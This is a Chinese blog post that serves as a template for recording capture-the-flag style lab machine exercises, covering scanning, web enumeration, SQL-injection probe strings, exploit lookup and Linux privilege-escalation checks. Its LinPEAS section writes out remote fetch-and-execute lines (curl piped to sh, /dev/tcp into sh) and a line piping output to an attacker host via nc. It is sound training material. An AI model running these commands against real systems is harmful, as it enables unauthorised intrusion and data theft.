avatar

黄金月河3.1

浴火重生

  • 首页
  • Linux基础
  • 运维
  • Github
  • Python
  • 网络安全
  • 软路由
  • 时光手札
  • 关于
Home 靶机记录模板
文章

靶机记录模板

Posted 2023-10-1 Updated 2023-10- 24
By 奈幽
12~15 min read

20230101 靶机记录模板

一、主机发现

1.1、网段扫描

netdiscover

sudo netdiscover -i eth1 -r 192.168.56.0/24

arp-scan

sudo arp-scan -I eth1 -l 

nmap -sn

sudo nmap -sn 192.168.56.0/24

二、信息收集

2.2、主动信息收集

nmap 端口扫描

sudo nmap -sT --min-rate 10000 -p- 192.168.56.999 -oA nmapscan_ports
结果变量化
NmapPorts=`grep open nmapscan_ports.xml|awk -F'"' '{print $4}'|paste -sd ','`
echo $NmapPorts

TCP详细扫描

sudo nmap -sT -sV -sC -O -p $NmapPorts 192.168.56.999 -oA nmapscan_detail

UDP详细扫描

sudo nmap -sU --top-ports 20 192.168.56.999 -oA nmapscan_udp

nmap脚本扫描

sudo nmap --script=vuln 192.168.56.999 -p $NmapPorts -oA nmapscan_vuln

2.3、WEB信息收集

针对 web 端口的枚举

nikto

nikto -port 80,443 -host 192.168.56.999 -o nikto_outputfile.txt

web目录扫描

dirsearch
dirsearch -u http://192.168.56.999 -F

1. 根据状态代码过滤结果:
   -x 403(--exclude-status)指定要排除的状态码列表。
2. 显示完整的扫描路径:
   -F(--full-url)
3. 指定字典
   -w 字典路径

   /usr/share/wordlists/dirb/big.txt   大的
   /usr/share/wordlists/common.txt     常见的
   /usr/share/wordlists/indexes.txt    索引
   /usr/share/wordlists/small.txt      小的
   /usr/share/wordlists/extensions_common.txt  公共扩展
   /usr/share/wordlists/mutations_common.txt   常见变化
gobuster
gobuster dir -w /usr/share/dirb/wordlists/common.txt -u http://192.168.56.999 -x html,zip,bak,txt,php
dirb
dirb http://192.168.56.999 /usr/share/dirb/wordlists/common.txt

针对 web 页面的测试

检查页面信息,审查元素、查看 cookie、tamper 数据、可以使用 curl/wget

在线搜索资源(比如 github),如果应用程序是开源的,根据网站枚举的信息猜测版本,然后找出可能存在的风险

检查 HTTP 选项

测试输入表单参数(比如 1' or 1=1 limit 1; # AND 1' or 1=1--)

	NULL 或 null

	', ", ;, <!

		中断 SQL 字符串或查询,常用于 SQL、XPath、XML 注入

	-, =, +, "

		用于手工 SQL 注入测试

	', &, ! , ¦ , < , >

		用于找出命令执行漏洞

	../

		目录穿越漏洞

三、枚举漏洞

‍‍漏洞利用检索‍ searchsploit

1、查找利用

searchsploit smb windows remote

2、利用寻址

searchsploit -p xxxx.c

3、复制利用文件到当前的工作目录

searchsploit -m 42031.py

四、提权

0、提权指南

https://gtfobins.github.io/

1、sudo

sudo -l

2、操作系统信息

uname -a
cat /etc/os-release

3、查看定时任务

cat /etc/crontab

cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null 

crontab -l -u "$USER" 2>/dev/null
  

4、基础敏感信息查找

查找密码相关文件

find / -type f | xargs grep pass 2>/dev/null

find / .|xargs grep pass

find / . -exec grep pass {} \;

find / -type f -name ".*" 2>/dev/null |grep "pass"

find / -type f -exec ls -l { } \;

5、查找高权限文件

find / -perm -u=s -type f 2>/dev/null

find / -perm -4000 -type f 2>/dev/null

find / -type f 2>/dev/null | grep 用户

6、LinPEAS

# Use a linpeas binary【从github中下载、加权、执行】
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64

# From github【从github中执行远程脚本】
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Local network【使用http协议,从kali中远程执行脚本】
sudo python3 -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim

# Without curl【使用nc,从kali中远程执行脚本】
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim

# Excute from memory and send output back to the host【从内存中执行并将输出发送回kali主机】
nc -lvnp 9002 | tee linpeas.out #Host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim

# 保存输出结果到指定文件result.txt
./linpeas.sh > result.txt  

	-s(超快和隐身):这将绕过一些耗时的检查,并且不会留下任何痕迹。
	-P(密码):传递将与sudo -l和Bruteforcing其他用户一起使用的密码
	-h帮助
	-o仅执行选定的检查
	-d <IP/NETMASK>使用fping或ping查找主机

7、进程信息信息获取 pspy64

chmod 777 pspy64

# 同时打印命令和文件系统事件,并每1000毫秒扫描procf(= 1sec)
./pspy64 -pf -i 1000 

# 将观察者递归地将两个目录放在两个目录中
./pspy64 -r /path/to/first/recursive/dir -r /path/to/second/recursive/dir -d /path/to/the/non-recursive/dir

# 禁用打印发现的命令,但启用文件系统事件
./pspy64 -p=false -f

五、寻找flag

find / name ".*" 2>/dev/null |grep "flag"

find / name ".*" 2>/dev/null |grep "root"

六、总结

本节使用的工具和漏洞难度:

学习到的知识点:

  1. ‍
网络安全
网络安全
License:  CC BY 4.0
Share

Further Reading

Sep 6, 2023

奈幽的渗透测试总结-红队

零、 kali环境准备 kali官方 https://www.kali.org/docs/ https://www.kali.org/docs/tools/kali-tools/ https://www.kali.org/tools/ kali 更换镜像源 sudo vim /etc/apt/sou

Apr 15, 2025

Metasploit Framework (MSF) 使用指南

Metasploit Framework (MSF) 使用指南 0、MSF简介 Metasploit Framework(MSF)是一个开源的渗透测试框架,它是渗透测试领域的核心工具之一,被广泛应用于安全研究和渗透测试。MSF通过模块化设计,简化了漏洞利用和后渗透操作,帮助测试人员快速验证系统安全性

Oct 20, 2023

NMAP:网络探索和安全审计手册 Chapter10 生成扫描报告

NMAP:网络探索和安全审计手册 Chapter10 生成扫描报告 本章包括以下配方: 以普通格式保存扫描结果 以 XML 格式保存扫描结果 将扫描结果保存到 SQLite 数据库 以可抓取格式保存扫描结果 使用 Zenmap 生成网络拓扑图 生成 HTML 扫描报告 报告漏洞检查 使用 fop 生

OLDER

kali Linux 效率技巧

NEWER

VMware虚拟机和VirtualBox虚拟机的网络连通方法

Recently Updated

  • 奈幽的渗透测试总结-红队
  • 基于Docker的虚拟 Chrome 浏览器
  • Metasploit Framework (MSF) 使用指南
  • rhel9 安装docker和docker-compose
  • 内网穿透工具:zrok

Trending Tags

Halo elasticsearch debian openwrt KeepassXC 必看精选 webdav 热门文章 docker Linux

Contents

©2025 黄金月河3.1. Some rights reserved.

Using the Halo theme Chirpy